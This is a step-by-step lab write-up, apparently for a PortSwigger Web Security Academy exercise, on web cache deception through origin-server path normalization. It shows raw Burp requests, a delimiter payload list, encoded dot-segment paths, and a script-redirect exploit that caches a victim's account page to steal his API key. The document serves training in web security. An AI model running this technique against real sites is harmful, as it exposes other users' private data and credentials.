Lab: Exploiting origin server normalization for web cache deception

Identify a target endpoint

After we have started the exercise, the blog should look similar to the screenshot. We click on the link "My Account" and log in to the application with the user name wiener and the password peter.

The login form should look like this.

After successfully logging in, we see the user account of wiener and an API key.

Investigate path delimiter discrepancies

We now switch to the Burp Proxy and open the "HTTP history" tab. There we search for the request GET /my-account and send it to Burp Repeater.

We move the mouse over the request and click the right mouse button. A context menu appears in which we select the option "Send to Repeater".

In the Burp Repeater we change the first line of the request from GET /my-account to GET /my-account/abc. The request should now look like this.

GET /my-account/abc HTTP/2
Host: 0ac400260496e30280fd3fbb00ea003b.web-security-academy.net
Cookie: session=sUp1qWXiPyGzOkmXVeiykES8lYOY4USX
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac400260496e30280fd3fbb00ea003b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Now we send the request to the application and receive the following response.

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=4kxXyiKnN4KRsPdN50Rr0JwvKnNi2TyY; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Not Found"

This means that the origin server does not abstract the path to /my-account. We now change the path from GET /my-account/abc to GET /my-accountabc. The request now has the following form.

GET /my-accountabc HTTP/2
Host: 0ac400260496e30280fd3fbb00ea003b.web-security-academy.net
Cookie: session=sUp1qWXiPyGzOkmXVeiykES8lYOY4USX
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac400260496e30280fd3fbb00ea003b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

After sending, we receive the following response.

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=4kxXyiKnN4KRsPdN50Rr0JwvKnNi2TyY; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Not Found"

We receive a message that the requested resource has not been found. There is also no indication of caching in this message. We send this request to Burp Intruder. To do this, we move the mouse over the request and press the right mouse button. A context menu appears in which we select the option "Send to Intruder".

We now switch to the Burp Intruder and adjust our request. To do this, we first make sure that the attack method is set to "Sniper attack". If you restarted the Burp Proxy before the exercise, this should already be selected, as "Sniper attack" is set by default.

We then click with the mouse between /my-account and abc. Now we insert a payload position by clicking on the "Add §" button.

The request should now have the following appearance.

GET /my-account§§abc HTTP/2
Host: 0ac400260496e30280fd3fbb00ea003b.web-security-academy.net
Cookie: session=sUp1qWXiPyGzOkmXVeiykES8lYOY4USX
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac400260496e30280fd3fbb00ea003b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

On the start page for the exercise there is a link to a list of limiters, which we will now copy.

The list can be found in the following code snippet.

!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
:
;
<
=
>
?
@
[
\
]
^
_
`
{
|
}
~
%21
%22
%23
%24
%25
%26
%27
%28
%29
%2A
%2B
%2C
%2D
%2E
%2F
%3A
%3B
%3C
%3D
%3E
%3F
%40
%5B
%5C
%5D
%5E
%5F
%60
%7B
%7C
%7D
%7E

The "Payloads" section is located on the right-hand side of the Burp Intruder. In the subsection "Payload configuration" we paste the list of limiters we have just copied. To do this, we click on the "Paste" button.

In the subsection "Payload encoding" we deactivate the checkbox "URL-encode these characters". If we do not disable this option, Burp Intruder will encode our delimiters and we will not be able to identify any delimiters used by the application.

Now we have made all the preparations and can start the attack by clicking on the "Start attack" button.

If you are using the Community Edition of Burp, this attack may take a little longer, as the Burp Intruder version is somewhat limited.

In the result window, we now click twice on the column "Status code" and see that only the character "?" has received a 200 OK code. This indicates that the origin server only uses ? as a path delimiter. Since ? is generally used as a path delimiter, we continue with the investigation of discrepancies in normalisation.

Investigate normalization discrepancies

In the repeater, we now remove the character string abc from the request and insert a directory with an attached coded point sequence /aaa/..%2fmy-account. The request should look like this.

GET /aaa/..%2fmy-account HTTP/2
Host: 0abb00a704033c34807f763f0061002a.web-security-academy.net
Cookie: session=Sm9FAMdtRg4nMZ1qd1joGaoNYmckeX7j
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0abb00a704033c34807f763f0061002a.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

We now send this request to the application and receive a response with our API key. This means that the origin server decodes and resolves the dot segment and interprets the URL path as /my-account.

Now we switch to the "HTTP history" tab in the Burp Proxy and see that static files all start with the prefix /resources.

If we look at the responses to the requests, we see evidence of caching. Two requests/responses are listed below.

We select a request (e.g. GET /resources/js/tracking.js) and send it to Burp Repeater. We move the mouse over the request and press the right mouse button. A context menu appears and we select the option "Send to Repeater". In the repeater, we place our coded point sequence (..%2f) between the prefix /resources and the resource (e.g. /js/tracking.js). The request should now look like this.

GET /resources/..%2f/js/tracking.js HTTP/2
Host: 0abb00a704033c34807f763f0061002a.web-security-academy.net
Cookie: session=rKWGGlwsd2eqiKAtSuxCAUkyEOXBuefq
Purpose: prefetch
Sec-Purpose: prefetch
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=4, i

When we send this request, we receive a 404 Not Found response, with the header X-Cache: miss. If we send the request to the application again within 30 seconds, the value of the header is X-Cache: hit. This may indicate that the cache is not decoding or resolving the point segment and has a cache rule based on the prefix /resources. Further tests must be carried out to confirm this. It is also possible that the response is cached due to a different cache rule.

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 11

"Not Found"
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 1
X-Cache: hit
Content-Length: 11

"Not Found"

We now append a random character string to the prefix /resources and send it to the application. The request could look like this.

GET /resources/aaa HTTP/2
Host: 0abb00a704033c34807f763f0061002a.web-security-academy.net
Cookie: session=rKWGGlwsd2eqiKAtSuxCAUkyEOXBuefq
Purpose: prefetch
Sec-Purpose: prefetch
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=4, i

Again, we receive a 404 Not Found with the header X-Cache: miss. If we send the request to the application again within 30 seconds, the value of the header is the following X-Cache: hit. This confirms that there is a static directory cache rule based on the prefix /resources.

Craft an exploit

We now switch to the Burp Repeater and go to the tab that contains our request GET /aaa/..%2fmy-account. Here we replace the character string aaa with the prefix /resources. The request should look similar to the following.

GET /resources/..%2fmy-account HTTP/2
Host: 0abb00a704033c34807f763f0061002a.web-security-academy.net
Cookie: session=rKWGGlwsd2eqiKAtSuxCAUkyEOXBuefq
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0abb00a704033c34807f763f0061002a.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

When we send this request, we receive a 200 OK response with our API key. In the response we see the header X-Cache: miss. If we send the request to the application again within 30 seconds, the header changes to X-Cache: hit.

Now we create our exploit in the exploit server. To do this, we click on the "Go to exploit server" button on the start page of the exercise.

There we scroll down to the "Body" section and enter our exploit code.

In the "Body" section, we create an exploit that redirects the user carlos to a malicious URL. We need to ensure that an arbitrary parameter is added as a cache buster (wcd) so that the victim does not receive the previously cached response:

<script>document.location="https://0abb00a704033c34807f763f0061002a.web-security-academy.net/resources/..%2fmy-account?wcd"</script>

The URL must be adapted to your environment.

Now we click the button "Deliver exploit to victim". When the victim calls the exploit, the response it receives is saved in the cache. We now copy the URL (https://0abb00a704033c34807f763f0061002a.web-security-academy.net/resources/..%2fmy-account?wcd) from the exploit and paste it into a new tab in the browser and now see the API key of carlos.

We now copy the API key and click on the "Submit solution" button. A window appears in which we paste the API key and click on "Ok".

We have now successfully completed the exercise.

Video solution

Last updated